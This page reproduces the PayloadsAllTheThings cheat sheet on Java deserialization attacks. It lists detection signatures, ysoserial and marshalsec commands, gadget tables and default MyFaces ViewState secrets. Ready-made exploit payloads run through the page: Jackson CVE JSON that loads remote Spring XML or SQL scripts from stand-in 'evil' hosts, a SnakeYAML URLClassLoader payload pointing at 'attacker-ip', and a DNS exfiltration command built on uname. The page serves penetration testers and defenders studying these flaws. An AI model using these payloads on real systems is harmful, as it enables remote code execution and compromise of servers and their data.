Back to Payloadsallthethings

Java Deserialization

Insecure Deserialization/Java.md

4.217.8 KB
Original Source

Java Deserialization

Java serialization is the process of converting a Java object’s state into a byte stream, which can be stored or transmitted and later reconstructed (deserialized) back into the original object. Serialization in Java is primarily done using the Serializable interface, which marks a class as serializable, allowing it to be saved to files, sent over a network, or transferred between JVMs.

Summary

Detection

  • "AC ED 00 05" in Hex
    • AC ED: STREAM_MAGIC. Specifies that this is a serialization protocol.
    • 00 05: STREAM_VERSION. The serialization version.
  • "rO0" in Base64
  • Content-Type = "application/x-java-serialized-object"
  • "H4sIAAAAAAAAAJ" in gzip(base64)

Tools

Ysoserial

frohoff/ysoserial : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

java
java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial.jar Groovy1 'ping 127.0.0.1' > payload.bin
java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64

List of payloads included in ysoserial:

PayloadAuthorsDependencies
AspectJWeaver@Jangaspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1@pwntester, @cschneider4711bsh:2.0b5
C3P0@mbechlerc3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1@artsploitclick-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure@JackOfMostTradesclojure:1.8.0
CommonsBeanutils1@frohoffcommons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1@frohoffcommons-collections:3.1
CommonsCollections2@frohoffcommons-collections4:4.0
CommonsCollections3@frohoffcommons-collections:3.1
CommonsCollections4@frohoffcommons-collections4:4.0
CommonsCollections5@matthias_kaiser, @jasinnercommons-collections:3.1
CommonsCollections6@matthias_kaisercommons-collections:3.1
CommonsCollections7@scristalli, @hanyrax, @EdoardoVignaticommons-collections:3.1
FileUpload1@mbechlercommons-fileupload:1.3.1, commons-io:2.4
Groovy1@frohoffgroovy:2.3.9
Hibernate1@mbechler
Hibernate2@mbechler
JBossInterceptors1@matthias_kaiserjavassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient@mbechler
JRMPListener@mbechler
JSON1@mbechlerjson-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1@matthias_kaiserjavassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21@frohoff
Jython1@pwntester, @cschneider4711jython-standalone:2.5.2
MozillaRhino1@matthias_kaiserjs:1.7R2
MozillaRhino2@_tint0js:1.7R2
Myfaces1@mbechler
Myfaces2@mbechler
ROME@mbechlerrome:1.0
Spring1@frohoffspring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2@mbechlerspring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS@gebl
Vaadin1@kai_ullrichvaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1@jacob-baineswicket-util:6.23.0, slf4j-api:1.6.4

Burp extensions

Alternative Tooling

  • pwntester/JRE8u20_RCE_Gadget - Pure JRE 8 RCE Deserialization gadget

  • joaomatosf/JexBoss - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool

  • pimps/ysoserial-modified - A fork of the original ysoserial application

  • NickstaDB/SerialBrute - Java serialization brute force attack tool

  • NickstaDB/SerializationDumper - A tool to dump Java serialization streams in a more human readable form

  • bishopfox/gadgetprobe - Exploiting Deserialization to Brute-Force the Remote Classpath

  • k3idii/Deserek - Python code to Serialize and Unserialize java binary serialization format.

    java
    java -jar ysoserial.jar URLDNS http://xx.yy > yss_base.bin
    python deserek.py yss_base.bin --format python > yss_url.py
    python yss_url.py yss_new.bin
    java -cp JavaSerializationTestSuite DeSerial yss_new.bin
    
  • mbechler/marshalsec - Java Unmarshaller Security - Turning your data into code execution

    java
    $ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
    $ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
    $ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389
    // -a - generates/tests all payloads for that marshaller
    // -t - runs in test mode, unmarshalling the generated payloads after generating them.
    // -v - verbose mode, e.g. also shows the generated payload in test mode.
    // gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
    // arguments - Gadget specific arguments
    

Payload generators for the following marshallers are included:

MarshallerGadget Impact
BlazeDSAMF(0|3|X)JDK only escalation to Java serialization various third party libraries RCEs
Hessian|Burlapvarious third party RCEs
Castordependency library RCE
Jacksonpossible JDK only RCE, various third party RCEs
Javayet another third party RCE
JsonIOJDK only RCE
JYAMLJDK only RCE
Kryothird party RCEs
KryoAltStrategyJDK only RCE
Red5AMF(0|3)JDK only RCE
SnakeYAMLJDK only RCEs
XStreamJDK only RCEs
YAMLBeansthird party RCE

JSON Deserialization

Multiple libraries can be used to handle JSON in Java.

Jackson:

Jackson is a popular Java library used for working with JSON (JavaScript Object Notation) data. Jackson-databind supports Polymorphic Type Handling (PTH), formerly known as "Polymorphic Deserialization", which is disabled by default.

To determine if the backend is using Jackson, the most common technique is to send an invalid JSON and inspect the error message. Look for references to either of those:

java
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
  • com.fasterxml.jackson.databind
  • org.codehaus.jackson.map

Exploitation:

  • CVE-2017-7525

    json
    {
      "param": [
        "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
        {
          "transletBytecodes": [
            "yv66v[JAVA_CLASS_B64_ENCODED]AIAEw=="
          ],
          "transletName": "a.b",
          "outputProperties": {}
        }
      ]
    }
    
  • CVE-2017-17485

    json
    {
      "param": [
        "org.springframework.context.support.FileSystemXmlApplicationContext",
        "http://evil/spel.xml"
      ]
    }
    
  • CVE-2019-12384

    json
    [
      "ch.qos.logback.core.db.DriverManagerConnectionSource", 
      {
        "url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"
      }
    ]
    
  • CVE-2020-36180

    json
    [
      "org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS",
      {
        "url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://evil:3333/exec.sql'"
      }
    ]
    
  • CVE-2020-9548

    json
    [
      "br.com.anteros.dbcp.AnterosDBCPConfig",
      {
        "healthCheckRegistry": "ldap://{{interactsh-url}}"
      }
    ]
    

YAML Deserialization

SnakeYAML:

SnakeYAML is a popular Java-based library used for parsing and emitting YAML (YAML Ain't Markup Language) data. It provides an easy-to-use API for working with YAML, a human-readable data serialization standard commonly used for configuration files and data exchange.

yaml
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker-ip/"]
  ]]
]

ViewState

In Java, ViewState refers to the mechanism used by frameworks like JavaServer Faces (JSF) to maintain the state of UI components between HTTP requests in web applications. There are 2 major implementations:

  • Oracle Mojarra (JSF reference implementation)
  • Apache MyFaces

Tools:

Encoding

EncodingStarts with
base64rO0
base64 + gzipH4sIAAA

Storage

The javax.faces.STATE_SAVING_METHOD is a configuration parameter in JavaServer Faces (JSF). It specifies how the framework should save the state of a component tree (the structure and data of UI components on a page) between HTTP requests.

The storage method can also be inferred from the viewstate representation in the HTML body.

  • Server side storage: value="-XXX:-XXXX"
  • Client side storage: base64 + gzip + Java Object

Encryption

By default MyFaces uses DES as encryption algorithm and HMAC-SHA1 to authenticate the ViewState. It is possible and recommended to configure more recent algorithms like AES and HMAC-SHA256.

Encryption AlgorithmHMAC
DES ECB (default)HMAC-SHA1

Supported encryption methods are BlowFish, 3DES, AES and are defined by a context parameter. The value of these parameters and their secrets can be found inside these XML clauses.

xml
<param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>   
<param-name>org.apache.myfaces.SECRET</param-name>   
<param-name>org.apache.myfaces.MAC_SECRET</param-name>

Common secrets from the documentation.

NameValue
AES CBC/PKCS5PaddingNzY1NDMyMTA3NjU0MzIxMA==
DESNzY1NDMyMTA=<
DESedeMDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz
BlowfishNzY1NDMyMTA3NjU0MzIxMA
AES CBCMDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz
AES CBC IVNzY1NDMyMTA3NjU0MzIxMA==
  • Encryption: Data -> encrypt -> hmac_sha1_sign -> b64_encode -> url_encode -> ViewState
  • Decryption: ViewState -> url_decode -> b64_decode -> hmac_sha1_unsign -> decrypt -> Data

References